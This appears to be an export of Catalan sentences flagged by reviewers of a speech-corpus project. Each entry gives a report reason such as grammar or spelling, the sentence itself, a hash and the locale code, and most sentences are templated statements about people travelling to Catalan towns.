grammar-or-spelling Divendres na Tanit i en Nel aniré a la biblioteca. 1812edd14b74d2633ecd3cc16f060c5e822f32be6275a8acb8ec779e1b15ca5d ca grammar-or-spelling Dimarts na Blanca i na Lis iran a Argençola. 173ab177288747f153d0769b99730e87dbca01bb7eda004cdf5bd10086cc25dc ca grammar-or-spelling Dissabte na Cel irà a la platja. 192e51b970aa26d3507d8fb2deb17e3379ac18f438167707b57ad2e629fa4e30 ca grammar-or-spelling Dissabte na Mireia i en Tom iran al metge. 1970243c3ce0cfcc021b10257dc59f51745df3ec690836d13368f536c5d60482 ca grammar-or-spelling Per Cap d'Any en Ferran i en Guim iran a Pedret i Marzà. 19739dd918bdd7a3de4909022a181b381dc4745ffd35a0a491783a6309b5ade9 ca grammar-or-spelling Dissabte en Drac i na Dèlia iran a Josa i Tuixén. 19356c6a0fc37c380257851ba3d694c93ac2b4653c6a66edce2694c57172582f ca grammar-or-spelling Dissabte en Quel irà a la biblioteca. 190cfe128036f904c8b6c8e84c9640b0476391b2fca1e69d2f96a08ed501ca75 ca grammar-or-spelling Dijous en Quer i na Vera iran a Piles. 193c6a7d204cbc3eb854c6a8f7eb38f68c2b80cdc95228ce3355f940410c50bd ca grammar-or-spelling Dilluns na Sibil·la i en Llop iran a Orís. 1992d68cb6941afee3113f09cf382c5669d38a743ea67b4529a7d48a5c140a3b ca grammar-or-spelling El nou d'octubre en Pep i en Pol iran a Montclar. 18faee54e5c2050c51236540cd6792c67112a83d155ab63d14883902f9abec1f ca grammar-or-spelling El vint-i-tres de maig na Ramona i en Pep vaig a Llagostera. 1d3caabd4d315ebe149a897219f4455479aee33c14fdf5aa078e782f4dc43ca3 ca grammar-or-spelling ¿Que potser no m'ho he buscat? 1d9d9427cfddbfc65bb5bfc9d2ca8e46fe3764f30c43e7f3e5a8ba0be9036366 ca grammar-or-spelling El nou d'octubre na Clara i na Mireia iran a Berga. 1df9d0d3ada838bbd40f0e0062c928baa3a34a3596b10eecb047377add497478 ca grammar-or-spelling El vint-i-tres de maig en Sam irà al cinema. 1cfd665976f104c3a6b37b818866c61abc9a113a7b4772b5686ddd806b18233b ca grammar-or-spelling Demà passat en Cai irà a Aldaia. 1daeb740d113b3ccc4f91ec093f4088d71c343d94e75a0f1f54eb124931f4391 ca grammar-or-spelling El vint-i-tres de maig en Mateu i na Bruna iran a la biblioteca. 1e2e240c2431bd5f4fa6ac0372c941ba7027803e17d09654fae61e7b72e43e2b ca grammar-or-spelling El vint-i-nou de febrer en Gil i na Frida iran d'excursió. 1db63433c2cc5e469b11d590c303e260ca53c207ce49bdfcec04c5712083a4ab ca grammar-or-spelling El vint-i-tres de maig na Dèlia irà al cinema. 1d80930f12a28a37c55b4d329709b203d59014be373ebb0590b8bd2231ef4595 ca grammar-or-spelling El vint-i-tres de maig en Nil i en Quer iran d'excursió. 1e7c567c2228bedc03ea3f0ef45931b0cb8eaf0066725416ddfc30000df50db7 ca grammar-or-spelling Demà passat en Pere i na Dolça iran al metge. 1e6ad3f2f8cb89b1db269b83b226fe3669f7ffe75d016aeb35996b6bfbc8b62f ca grammar-or-spelling El deu d'agost en Gerard irà a Fogars de la Selva. 1c52872584555d38b8a640f19036faf5eb86223b18ada94bc24505c8655f6ae2 ca grammar-or-spelling El deu d'agost en Julià i na Lara iran al cinema. 1f97e39091831ca74b8d7706314f72410aaa53793b3311b3f5ed9c93ebc0e48f ca grammar-or-spelling Diumenge na Neida i na Mira iran a Beneixida. 206372786cd2aeb3ff01ccca63da9fb3f402d67ae069f43fc31d2e7c4667d8c1 ca grammar-or-spelling El deu d'agost en Gaël irà a la biblioteca. 2153fd9de0605f5b53b2a3106b2e9ee960205b3e125bb0afb081f93cd264cb78 ca grammar-or-spelling Des de l'hemiplegia el silenci el persegueix manyac. 22bc0b0b1bea3268f3b903f5bf44f3757afc4630bfbaddd594d553617d6af420 ca grammar-or-spelling Dissabte en Maria i na Laura van a Montant. 210e616b8f5f86e190e0d936db56f8e9f55dff017995cd7e2a0f14b9371891fc ca grammar-or-spelling El vint-i-nou de febrer en Maria i na Greta aniran a Avià. 2526905a09ad9f639dd46b0082adf237d0a9aa2f75f25d9c8df608c25dec4305 ca grammar-or-spelling El vint-i-nou de febrer na Vera i na Mar iran a la platja. 241ea8ba8c48185129d636730302373251b25188f0add11a0d79b37dd5a299ec ca Sa de parlar català no és pot perdre la nostre llengua Dilluns na Greta i en Maria volen anar a la Febró. 239f413a85364c72b535aac72f642d173e74516e7d7d4fc954cca4e760cc9138 ca grammar-or-spelling El vint-i-tres de maig en Peris i en Quim iran a Montaverner. 26fbe1469b07228c10d72bb06f34be7b6f1b2cbb72ebf2addd158f5ab4ea8fa0 ca grammar-or-spelling Demà na Laura irà a Fígols i Alinyà. 279155c46c0f8d3bf95999f35939502dcf5348992772caca109b2fbc577a65fb ca grammar-or-spelling El deu d'agost na Mariona i na Lea iran a Baix Pallars. 27b831cb1544642945498c2f06a0aa03d4fb661c74bfba863013c411d808ba80 ca grammar-or-spelling Demà na Lis i en Joan iran a Montaverner. 27df5e55ff9e72c6dc5ec5f369c7689858cc313f793f4d0f5c378a972f889ec1 ca grammar-or-spelling Per Sant Jordi en Guillem irà a Riudecols. 2845efe7c96f87dc5780c7860082dfd5e43771400ce5bc57ae74ab9958105ee0 ca grammar-or-spelling Dilluns na Mar i en Drac iran a Senija. 281cb81180f3f81cc1586a7d225b86828571833db5096ed29a90009e74e2d22c ca grammar-or-spelling Demà passat en Dídac i en Gerard iran a Riudellots de la Selva. 270ed7907c018e304db94fa3ca72528597969a7cfa331808af5b623287556f81 ca grammar-or-spelling Almenys a la ruleta americana la càmera només agafa el tapet verd. 27626a11141812a2a8b3503777c48e541e76370c07b8296dc9095356a5f724f8 ca grammar-or-spelling El deu d'agost en Bernat irà al Pont de Bar. 27561ae822a31199ed9141ad2dfd7948c2a30ce688ae38506a6083b20b2f5f1b ca grammar-or-spelling El vint-i-tres de maig na Rosó i na Lola iran al teatre. 28d997a592c72ffbfd7b9317371dce7f833a6734724fae18832662491f164447 ca grammar-or-spelling Dissabte na Cira i en Pep aniré a la biblioteca. 2abac0f269da8b13c9ccdcea092565f9193c932ab3b6b6c979d7e1df7403624d ca grammar-or-spelling Dissabte na Bruna irà a Pontils. 2baca4ddf3f29809665023a7027ad9a408183c35f0d90d797fd8e67ee5ba3143 ca grammar-or-spelling El nou d'octubre na Gina i na Cora iran al teatre. 2bf31e82a472eae820c4a327fea55d99df4bd0c034e3d9666abda2bffe88d176 ca grammar-or-spelling El nou d'octubre en Damià irà a visitar mon oncle. 2c2e5006688002a4eede15b7286ee2f57a9940e86c601865a113816ee2f57667 ca grammar-or-spelling Demà passat na Queralt i n'Eulàlia iran a Premià de Dalt. 2ce1fb0836b7eae7ab8918acdfef6664f9658c5ee717e6ca9d172f59f4740a4b ca grammar-or-spelling El nou d'octubre ma germana irà a Cànoves i Samalús. 2c35c10740e2af6fc2dc47bc5db6ba044e90df51600277ce37eb18e449ba8ab1 ca grammar-or-spelling Dimecres en Quel i na Laura iran a Senan. 2b17ef49ff141d673a3e2174d2183892a29ee1abb06b78f141204735ee5596b2 ca grammar-or-spelling El vint-i-nou de febrer na Lis i en Damià iran al Ràfol d'Almúnia. 2cac87e046ec0c2c0c36e868a5bb95e6b9f908edc05b7ce574fad666b9a702d0 ca grammar-or-spelling El nou d'octubre na Gemma i en Guerau iran d'excursió. 2cc7880c2f12299ee28df643aac345d4481ea9ac2bcbff0f1ce1c832fb8b0d0a ca grammar-or-spelling Demà passat na Damià i en Garbí aniran a la Fuliola. 2da1c43109ea31bd12cfa3b6ce29cd4f13eef8313c90c5c8160f2e39b945d466 ca grammar-or-spelling Per Cap d'Any na Damià i na Vera aniran a Miramar. 2c9f596ebf33a37595e5171a65f3686509f0b1705c972437afe608832597bcba ca grammar-or-spelling Dissabte na Damià i en Juli volen anar a Roda de Berà. 2d768f89f3b6be1a2b5890fa9228ede8299471770207117307a8f9938a34e8ab ca grammar-or-spelling Divendres na Damià i en Genís van a Foixà. 2e7f9ae6621e03bbadaeec34957fe1474ed3fedbba79620fd104aa63d3d2b927 ca grammar-or-spelling Demà passat na Cel irà al cinema. 2f130358e81abcce86c350608c3d80c67326106b2d7784447112cce0d7e01da7 ca grammar-or-spelling El nou d'octubre en Sol irà a visitar mon oncle. 2f2cda51f97af1ae69e1449df03d0999bd461a1273358d35b4bcab24ed02945d ca grammar-or-spelling Per Sant Jordi na Tura i en Gaël aniré d'excursió. 30ded7207ef5df9d6099de6c8f30d277d147a7dfaa7f033cbb29b08390e67049 ca grammar-or-spelling El vint-i-tres de maig en Pere i en Ferran iran a Salt. 31e344996aee7bfa2baaeee68de190a37aa06b8fb94bed7de4b230141d617600 ca grammar-or-spelling El vint-i-tres de maig na Tanit irà a Potries. 318ee97c6b901535895f316e420a9ccda324353df4361d4368a41c75d9d2a1c5 ca grammar-or-spelling El nou d'octubre na Cira irà a Òrrius. 31e4b98e30c267266c063d30f38db6fefff07afe2f3e77998f5002de08be5e9c ca grammar-or-spelling Diumenge na Tanit i en Ton iran a l'Escala. 311ab91cbd918cc8e01f283abd2402e9d5ac405078c3b4298c3c26ecba03e8d2 ca grammar-or-spelling Dissabte na Zoè i en Damià iran a Sant Llorenç Savall. 30facd3ca9ef7f10db07d4e2692fca98d7ef797b9e46d792c9951a49a3643a68 ca grammar-or-spelling El vint-i-nou de febrer en Sol irà a Fanzara. 31740f67da72374bf99a8f1bebef47dd590a1fd8fd7f3ef1589d5e1c40bddce7 ca grammar-or-spelling El nou d'octubre n'Hug i en Quixot iran al cinema. 32075b4c66313de07015bfa6d4a4c2d47a067b20cf41d9a55a4023bc56706486 ca grammar-or-spelling Dissabte na Dolça i en Marc iran a la biblioteca. 2e258e7a85997e7c4d670fd8fb9d29308d81b7781500ea63bed75a1eb3be591a ca grammar-or-spelling El vint-i-nou de febrer en Pep i en Lluc iran a Esplugues de Llobregat. 330e1576b5ad100e6a6005c03a41dbf6573c1555e8a728498c6fe76e4ab671bf ca grammar-or-spelling Dimecres na Clàudia irà a Terrades. 33eab4a89bd5d7b0509594e65e998669a2ea1873fd8e40ed0fb9234c2b71a3b6 ca grammar-or-spelling El deu d'agost en Juli irà a visitar mon oncle. 391739137da6144870c492df2cfec2198249a65b27e83895be89d7bb87ba6668 ca grammar-or-spelling El vint-i-nou de febrer na Jana i na Dolça iran d'excursió. 3a145ce458a4d5c5c9c095c8468fb55e85301ae7359782f88b7502c62e0d39ab ca grammar-or-spelling El deu d'agost en Quirze i en Sergi iran a Estubeny. 39fafadba3b9dd4292c33c1d85cded3e3227be9303c473458c8a635f24320131 ca grammar-or-spelling El deu d'agost na Rosó irà al teatre. 39d0f4cbc6933b5fb70718098dc7a6ad4a22208ee77b04b0d6bf92fcc663f1b1 ca grammar-or-spelling Per Cap d'Any en Quer i na Cira iran al cinema. 389eb13acabb6b55cc029f4683118094ebef732c4ad22283180ffff288adfb74 ca grammar-or-spelling Diumenge na Damià irà a Novetlè. 3f340a1e717f6d5340bd3fa6affd82152fc9e9dee0cf5a02586e58241e758a3a ca grammar-or-spelling El vint-i-nou de febrer n'Oriol i na Dèlia iran a Castellfollit del Boix. 41f10cfa966c4d831ce78723b59d81f7ac74ebdb7c20936068c5c51fcc63c43b ca grammar-or-spelling Quan els maoris vam arribar a les illes n'hi havia milers —va assegurar—. 46d8e5f923f117775e15df9651202719ce054661a36b64fbb0ee5f175d3187d8 ca grammar-or-spelling Demà passat en Marc irà a la biblioteca. 45dc83468ef9c77db4035edf009b3bfefbe8987a08d56a286fd4a37468f37172 ca different-language Demà passat na Vinyet irà a Albaida. 46e794198e1bed24dfe290b990ba943bf0e19253af8b40c378b6454cbb8c82d0 ca different-language Per Cap d'Any en Gerai i en Roc iran a Montuïri. 472e541ea4fa69a60eede9d204038b3759fa0af2e214a6a1c6c4c29ff4a41acb ca different-language Diumenge en Tom i en Magí iran a visitar mon oncle. 47810a274f5b10d19c0ad455b95e86e4d807f7021363b56a5b094eaea1cb4526 ca different-language Demà passat na Mariona i na Sira iran a Santa Margarida i els Monjos. 4658e7ea694773848ba534c01c74f29eafd2c0686be2e68703313559f78ecc7e ca different-language Demà en Dan irà a Massoteres. 46ec964ad5d7c0e7a5c1661f46780bf567171bc2b5ec171846df2add748a083c ca different-language Per Sant Jordi en Nel irà al cinema. 46d6fac9093f0f98ee3e11252a9e52385b05897889c203dd4dccd2d357361975 ca different-language Demà n'Oriol i en Milos iran a Rafal. 473e4c5864f6b98602391f156f418cafa6ae3922cec36c795eac430fc7317e8e ca grammar-or-spelling Dimecres na Nit i en Rauric van a Alaquàs. 478a24d733dc249223e40d30834daed6f1d78d6528df7938c197ec559982f20e ca difficult-pronounce Demà passat na Vera irà al cinema. 46e788bfe8f274a5e6129491e767b763e761307644df669b97d7e95cfe9bd96c ca grammar-or-spelling Dimarts en Roc i na Dèlia iran a Ciutadella de Menorca. 479427e58679d23fa21724ac581455764e05ad0c11a9a60b0f283eaca7ebb532 ca different-language El nombre de propostes de final diferents enviades consten entre parèntesi. 47ec83e6be2de174a7d33c99188ef0c5fe019a78cbb42d16d6e38e79bd58af75 ca grammar-or-spelling El vint-i-tres de maig na Txell i en Renat August aniré d'excursió. 474d548cb522892c34bbf5b42070a604379683350789ab2d40bccf071ac9e53a ca grammar-or-spelling El vint-i-nou de febrer na Thaís i en Telm iran d'excursió. 47a3ce6150f787af11ce1bcff12a49512e42989fcb7812cc6844f4b740c1a2d2 ca grammar-or-spelling Demà na Lena vol anar a la platja. 471158613e8d19b7da352840121ca940c6bfc25548dfe87239332031161638c8 ca grammar-or-spelling El nou d'octubre en Joan i en Marc iran al teatre. 48a82f735e6a430e41c7a37ef8a71a0d9dd3b17d16bf42cb88acdbb5fe865c9d ca grammar-or-spelling Per Cap d'Any en Jordi i en Pau iran a Benferri. 4951d5c186f9379c479be6c6c6773f7a7f9ec1e3c1ea6725e57afb3c93394110 ca grammar-or-spelling El deu d'agost ma germana irà d'excursió. 4e208eb417abe2ea551c4fa873f64d136753f172943752b8ae4499ef39b88775 ca grammar-or-spelling Demà en Guim irà a Eivissa. 4f02facb1892494ac247e7ae683e642cb80f94e0b76fb023c2aa83aa1a71b3ba ca grammar-or-spelling Demà passat na Beth irà a la biblioteca. 4f2cbca10be8132b24ba5ff916922c5f79fb0e0c13d02437fc0b7a87598d607a ca grammar-or-spelling Dissabte en Martí irà a Riudecols. 4f465dbe8e00801f3c542ea5ed269b45decc0cd58559c948c0428b3b257956c0 ca grammar-or-spelling Divendres na Beth i en Roc iran a Rojals. 4ecfa1ed7081a8dca8fe66373b3e98acc42184ed7f1cdbbb874ba70f9634c521 ca grammar-or-spelling Demà passat en Joan i en Marc iran al teatre. 4fb74ae64b25357f664b5ad5e331cf50b1345ac8a1f3ac3ce099b992a24e931b ca grammar-or-spelling Divendres na Laura irà a Bordils. 4f63f6eea14f282f3ddbb57cc2a06a5557f76dfdf27fbdd86022dcd78481fb32 ca grammar-or-spelling El vint-i-tres de maig na Clàudia i en Telm iran d'excursió. 4f8d28b46cfbf8350c9520076f1cbade49b2ef49c6c04146d521529cde93e6d2 ca grammar-or-spelling Ha d'usar el cap si vol lluir les tres estrelles de sis puntes. 5017ca187109a312c9d4bc95dd9a76cf3b188b2f49f058979e40e837a2e8b894 ca No s'enten la frase Dimecres na Lena i en Milos iran a Vilalba dels Arcs. 4ec2435765b39ce2ceb70236df06e605c61427c49c966e2d387c35ceb1d90ae7 ca grammar-or-spelling Dissabte na Nina i en Rauric iran a Figueres. 501dce07db408d65e7a3e23569770694eada6b6243030ba15cd0627b189626c3 ca grammar-or-spelling Per Sant Jordi na Gina irà a Tornabous. 4f043eb68d4c1a2c09ef7d5636d85a2422402cf61709c9b4226bb5a1d249a3ed ca grammar-or-spelling El deu d'agost na Frida i na Lea iran al metge. 4ea28c4dd0e1ce41e16f43ebecbbb515f524f6168d8bec0b2b7f7ea452ae8f42 ca grammar-or-spelling El deu d'agost na Nina i na Clara iran al metge. 4fda15fe4591ec86dc29c00548a9dd00284d90f3f57cae0193f652f336e04330 ca grammar-or-spelling El vint-i-tres de maig en Xavi i en Marc iran a la biblioteca. 4e8f59abcffdccf6d86fbc68478a2140fd4304d1af443c06e011150abfce9422 ca grammar-or-spelling Per Sant Jordi en Tom i en Magí iran a la platja. 4f311365d84bedb002c646f84539b4b3787c81b3bd1815fedcaf32d2c16364fb ca grammar-or-spelling El nou d'octubre en Quintí irà a Pontils. 4ff1e320d357014929c31457a5e9a0a649381069849671909996a717be381b8b ca grammar-or-spelling El deu d'agost na Farners i na Rosó iran al cinema. 4fd87e1b1bde27dc4682083d06bc7153c32c6ed430c24c59d44d0b31a04de6e7 ca grammar-or-spelling Dissabte na Cira i en Pep voldria anar al cinema. 50b1d8cd66864eb018dca02b1362072cf57fb9f8b48e488db5bc984022778abd ca grammar-or-spelling El nou d'octubre en Maria va a Llers. 50591243b0793d133ae0df59614f2ecf1f44564ed5ab0e2bf7a2698e87329d25 ca grammar-or-spelling Per Sant Jordi na Damià i na Vera van a Iàtova. 4dbd4a987c49fa0b140e0fa6c9107493c420c3390d1fff3c71b16df07bee4b35 ca grammar-or-spelling Diumenge na Damià i en Roc aniran a Albal. 4f2b409890ab4c501963e568b239f9d32e60aa08544c9589f4999e246a951fc1 ca grammar-or-spelling Dijous na Damià i en Cesc aniran a Sot de Xera. 50eb483ad4df959c0eb97da1410fcf5f4814e8624675e68eb91eba0fa738b6d2 ca grammar-or-spelling El nou d'octubre na Mira i en David voldria anar a visitar mon oncle. 51b420a55d37aba01a7505e154fd4b5505a79b0fb65f0d1a166f80e84f5e0b40 ca grammar-or-spelling Un bon exemple de la identitat essencial d'ambdues llengües”. 538524f9de65d75ad8ab3a4480b5542342cd0db3a5fd2f0e0e8edc2eef35c75e ca grammar-or-spelling El vint-i-tres de maig na Cel i na Nura iran a Alforja. 54b3a24beac19bed7de871dac6552579cf4c231548294182a70bc7d0c604d505 ca grammar-or-spelling Dilluns na Nit i en Cesc iran a Riba-roja d'Ebre. 551552bda31b2e3dcdecc852e136d620fae1f1fd05443af126accbb0f7ab06d5 ca grammar-or-spelling Dimarts na Dolça irà a Martorell. 55d6bd3f693b809105da4908da6bb2ad5e1603de1dee6b11a7941f8f9df1e5dd ca grammar-or-spelling El nou d'octubre en Lluc i en Guim volen anar al metge. 554064dc0e8db98a6f15c2110d70e161b39ede95762327f05754b22564e66ba1 ca grammar-or-spelling Dissabte en Guiu i en Maria van a Llubí. 575492c3aa920f652a01d5238a6966fae25496efe160cbc3011a32326f010759 ca grammar-or-spelling Dissabte na Damià i na Dolça iran al Milà. 57884b9720a11b2733d131faaf3e5e12f3dbc3ed8e39c6de559b9a5d7a56b414 ca grammar-or-spelling Diumenge en Gerard i na Carlota iran a Cambrils. 57e407e88a139ebe38a0b2a10172db091313a7ada5e61f1ab5c646363e64f95e ca grammar-or-spelling Per Cap d'Any en Xavi i en Miquel iran d'excursió. 5cda0d34c1271005a150f7edfe0b64a94baf3ad54c03422bbe5516724749cf7c ca grammar-or-spelling Plantejament quaranta-dos l'audiovisual vam trobar un home assegut rere una taula. 5cff5a7319a57782ad424402275d1468a30991d42e999d5cd5b977a8dccc176d ca grammar-or-spelling El vint-i-nou de febrer en Cesc irà a la Pobla de Sant Miquel. 5c87d818e154f27c5a5a84d6ed2ca8da72e05dd04e7b3d3f2c5d1b5aeea79321 ca grammar-or-spelling El vint-i-nou de febrer en Cesc irà a la Pobla de Sant Miquel. 5c87d818e154f27c5a5a84d6ed2ca8da72e05dd04e7b3d3f2c5d1b5aeea79321 ca different-language Dimarts na Dàlia i na Nàdia iran a Montanejos. 5de10a59f878de5e68b03714b619b2b3b30c2f7951cb7f186f5a2b828d49f380 ca grammar-or-spelling El vint-i-tres de maig na Sira irà al cinema. 5cb1cef4a4b334eb3e454a45363aaf37b2eb575b00ab4d8951f98bf71a5d3193 ca grammar-or-spelling Demà passat en Joan i en Marc iran a visitar mon oncle. 5c1647ed5b41a25690f2e8e0b0d17f058f791afb1ebf4932014456435fd74e21 ca grammar-or-spelling El vint-i-tres de maig en Quintí i en Marc iran al metge. 5e452922d56b62d5e8b89903e98376f4b5162caae45b5f9046a3f7a69ff5ac72 ca grammar-or-spelling El vint-i-nou de febrer en Lleó irà a Alpens. 5e6fd813052f6c45bb26dc3286e8cabdb159e48af80a908514ba01e215394802 ca grammar-or-spelling Dissabte en Julià irà a Rupit i Pruit. 5e3e66b5b84b0851945fdbefd7e685cf4a18747801c70b5405fdbfab4cf232dd ca grammar-or-spelling Demà passat en Maria i na Mira van a Tarroja de Segarra. 5e7127af71e73969006d8d1fdb57071f4fa5c0e588ee3cbe463054cc2b5c254d ca grammar-or-spelling Aquella edat que comences a recordes de nen. 60d863f9ea87344c338c5e10d94ffd0aee9d1ee999021fadfc461f69c62b9d82 ca grammar-or-spelling Galvany i és client assidu de botigues especialitzades de delikatessen. 60879ae96f7518cd1977218c217daa38d8035c10781f143234ab85e1993de972 ca grammar-or-spelling Fins i tot les crisis epilèptiques han augmentat. 6009f229ab5bf79b881c32bff3685d0554fa8afe4c1630eeda3b55b83e28c67b ca grammar-or-spelling Per Cap d'Any en Cesc irà al teatre. 61816294bb40b627b170b48f6b18f8f298ff3d7ebb4439cefa0e8b019ee07218 ca grammar-or-spelling Dimarts n'Oriol i na Sança iran al cinema. 61bf6a1076085a1eee6289e8a6fa890d432f9cda57b514f628429a52db4d025f ca grammar-or-spelling Diumenge en Roc irà a la Pobla del Duc. 618f3bcd47ad65c657caf8b3a274d5f21c2de02a58651983a520dbd23712f92f ca grammar-or-spelling Divendres en Gil irà a l'Albiol. 604b1e482179079f637bc5b0ed3dd16e21bed33c010f2f654ad39b18a6d07cb7 ca grammar-or-spelling El deu d'agost na Cira irà a Alpens. 614f3f137c0a41d1764e100428037c71dcb536a519f9d19532ac45d22a988dea ca grammar-or-spelling Per Cap d'Any na Nit irà al teatre. 6180b7b7474a6355eef6e86a3df379729e8ea800a7763d0976ede77f21124ab7 ca grammar-or-spelling El vint-i-tres de maig na Frida i en Rauric iran al cinema. 6009917ec51f5067b62626357936bcf2a15baa17ab189b77009ccb77a57b5fa4 ca grammar-or-spelling Diumenge en Jofre irà d'excursió. 61fc72c40fb1d44c36f21a99fd6f395ecf8479cec172d3e4e41952e73239e4dc ca grammar-or-spelling Demà passat en Joel i na Mira iran a Sant Quirze del Vallès. 61d13251b2a8537154df284fd0c00881c5b5f6dfacb6bbbe3a28eb4cb02c22b2 ca grammar-or-spelling Dissabte na Zoè i na Berta iran a Torroella de Fluvià. 60d1096faac3e15e45852753da17c99bad55a5fc2c164a53d8084f32a73de3e6 ca grammar-or-spelling El nou d'octubre en Xavi i en Marc iran a la biblioteca. 6210c44c0b3a1d8331f0be195a3257d2a65aafd1b094870089af400d44e97c31 ca grammar-or-spelling Dimarts na Xènia i en Nil aniré a la biblioteca. 6272f7c1baffb701dae065adcf31fc4dfe5e1c26764af843ff81bccc703acb04 ca grammar-or-spelling Dilluns na Dolça i na Nit iran a Callús. 621f54a0d6ae219c35a73834486ab5711ab604bf839ec435a8860c630ebbae6c ca grammar-or-spelling Dissabte na Tanit i en Nel iran al cinema. 62473776357f12057d38e6624365a8819e5bffa463918dccb875f9c8cd58f9dc ca grammar-or-spelling El vint-i-nou de febrer en Maria irà a la platja. 61a649c6387f460b5892d2b060a1d459f697afe43e407ca6cdc74a3abf254f51 ca grammar-or-spelling Dimecres na Jana i na Xènia iran a Planoles. 625340eaddb383c656af25abdcbb521ade688b50642a7049e6670fbd59e6b31a ca grammar-or-spelling Demà na Jana i en Llop iran a Benidoleig. 61bc0d78410965327064e486a8cac463b1fc36da77fff590a671b2c6cb29ff3e ca grammar-or-spelling Dilluns na Joana irà a Palanques. 623387b5e21f1d4520f1ee2de6b055ab81a384dfd4e23c69cad8480fb8d5c4e7 ca grammar-or-spelling El vint-i-nou de febrer na Dolça i na Ramona iran a Tremp. 627a570421d57ca594b16e89465f7401fec90295e3ca71de48cad17f6b331b43 ca grammar-or-spelling El nou d'octubre na Nàdia i na Nara iran a Picassent. 627c78d80ec56447dfad13ae54a49a32dc50bf57305b043a70818f6385d22ae7 ca grammar-or-spelling El nou d'octubre en Guerau i na Queralt iran a Corbera d'Ebre. 6136fd6d8c26e5168e39d567fd464abe6e0e3d1055a75773c402c88bfdc0dfa4 ca grammar-or-spelling El vint-i-nou de febrer na Vinyet i na Bet iran a Castellnou de Seana. 616ff5efd06774207e5c73d9f0354bc6664832d5b00a7fde8d80c3e3f1bd5fa3 ca grammar-or-spelling Dijous en Ferran i en Bernat iran a Beniarrés. 626c8b2249455e596b5ee502d93c475b3086c3b5a28bd37071f730d37e563d99 ca grammar-or-spelling Demà na Greta i na Paula iran al Vilosell. 62278b71cdd0a68840fcbedbd10a07ff56fb179ebd812d4be283b4fb65ecf2de ca grammar-or-spelling Demà na Tanit irà a Estaràs. 6277c467e1cc92cb18d90585b95c0f5dc3b4111f9dc763e2a02403cf492513f2 ca grammar-or-spelling El deu d'agost en Mateu irà a visitar mon oncle. 62002d46a5e7757f3861a504eee67d04025864648a2fc0158a577afb0f747563 ca grammar-or-spelling Per Sant Jordi en Blai i en Pol iran a la platja. 648f45a0336f3daaf778f1c5fb354571437b55e7f444d9a39dbab2a30ebfdc81 ca grammar-or-spelling Per Cap d'Any na Clàudia irà a la Torre d'en Doménec. 669de211b57ba47ef828b688187adfe85c6b2abbe9fb71440afe61c94c6028f6 ca grammar-or-spelling El deu d'agost en Maria i en Sam aniran a Palau-saverdera. 69a8e50a786fbed95ea5647d06e7851e21c0ce255c63369156c79d693631014b ca grammar-or-spelling El nou d'octubre en Maria i en Cai aniran a Sant Isidre. 6a05c2f5af39b5d6f694c68c7a45e53ddf32cc04583995dde8ab2a877815a0aa ca grammar-or-spelling El vint-i-tres de maig na Greta i en Maria volen anar a Llívia. 69656a63501d5cf34c610860be7cd018c57b83555e8396fa60e65f6052086a62 ca grammar-or-spelling Demà na Damià i en Cesc iran a Novelda. 69a1953e342c4664cc6ed151a0e2ffd6f1342db03efde77525df0211cd5ed5c0 ca grammar-or-spelling Divendres na Damià i na Dolça van a Súria. 6944b62535e7fa05ac30345fa9c0053f2a803829517b07fb9ff8128e84d2c19f ca grammar-or-spelling Demà passat en Gerard i na Duna iran a Aguilar de Segarra. 69165ff32523ab0bf77a33886cbd21f8accb2a625d0279488881dcfa5f0af678 ca grammar-or-spelling Dilluns na Nura irà a Gorga. 6a7295eee3da312b68324301565783cc31feb358f66d02d93e5cd049afb6d72d ca grammar-or-spelling Dimecres na Vera irà a la platja. 6acd12ec7bb29ac11b75b7056dd601820de45cb29e88b7ca883eabdf2e525df5 ca grammar-or-spelling Dissabte en Quixot irà a la platja. 6ab3d456e71e2374abbd3513cab084f400d96ad41b3497e150ba2fe85cf50a3f ca grammar-or-spelling El vint-i-nou de febrer na Xènia i en Pep iran al teatre. 6a7a9d774897cf23e775328f35581d404f3094da61df8575bc7db7d8084f59bc ca grammar-or-spelling Dijous en Quixot i na Dolça iran a Llagostera. 6a8908e7ec36e1e09757847202257f3b132204576923ad708653f62d6cd7116c ca grammar-or-spelling El vint-i-nou de febrer en Gerai irà a Albanyà. 6adf12ea96e9fafe06b1e4728b09c4cb0c5cecdbf0418b4cb9236ffb4b78b786 ca grammar-or-spelling El deu d'agost en Ferran i en Quintí iran a Alcoi. 696fe2a59fe647d3ac88283fe45f1801877970e5a4a880fea63adc3cfd6123bc ca grammar-or-spelling Per Cap d'Any en Damià irà al metge. 6957a05d3385f8324a6b659605725f6e06e1e57cf9b86a3d3eb3692b05af55c7 ca grammar-or-spelling Dimecres n'Eulàlia i en Quixot iran a Corçà. 6a6c2ee631d12ee660d364550cee62a258430ad7dcf858704f78d1c0bbb9e9f8 ca grammar-or-spelling El vint-i-nou de febrer n'Oriol i na Marta iran a Sant Quirze de Besora. 6b0792e997dc34df4b2e453dcf9ad32fbbd25a807c3132ab45975bcf9cac4a42 ca Perquè surt tant el verb "ir"? No ha de ser "anar" ? Seixanta-dos l'únic foraster i que alguns membres de l'equip em miren amb recança. 6be304504ea0a809864d372ea2602ea657d8eabdbce5593c733e8668deaea823 ca grammar-or-spelling El vint-i-tres de maig en Marc i en Marc aniran a visitar mon oncle. 6c1a8333b54d7125448a23e5bb25f46795d8172724ad2ce7a47bf78c2bf02fd9 ca grammar-or-spelling El vint-i-nou de febrer na Gemma anirà d'excursió. 6b59c5a9ea94e616b14e81f8c7e298c1e6e1f818faa256e8421b0dd99397ac29 ca grammar-or-spelling Demà na Berta i na Mariona iran d'excursió. 6c645bb7784346bf96277926b738f4b4b81379889d55a0df9570072f82c2412d ca grammar-or-spelling El deu d'agost na Clàudia irà a Algerri. 6bd8cd02285d0d5bc16ec9d9561ddb3ed79aa5ed864a6ec977d2eb03e0f10d2a ca grammar-or-spelling Dijous na Neus anirà a Gavet de la Conca. 6b52781b02e0cc62fbf1365d3e81ffc7836702c671c74bc181b1afb456eacaf4 ca grammar-or-spelling Dilluns na Beth va a Bot. 6cc5317a78af5f808cbf8c9f77136dddc10f639e7676a540ff801dcc8d5d70b4 ca grammar-or-spelling Divendres na Joana anirà d'excursió. 6c9d748db45820b83b05f3df1066cf3f58bfa5b8405504364bf6359eac2388a8 ca grammar-or-spelling Dissabte en Nil i na Rosó aniran a Torroja del Priorat. 6c8eac266c41c6bf21ce256990023438d577aa6bc61a8e31273cf741e45ec826 ca grammar-or-spelling Dissabte na Sança i en Guiu iran a Vilafant. 6a3fc550c13e65705f418c49f66b822868ca23b51a856799928e225faa99bd90 ca grammar-or-spelling Per Sant Jordi na Sira i na Chloé volen anar a Fogars de Montclús. 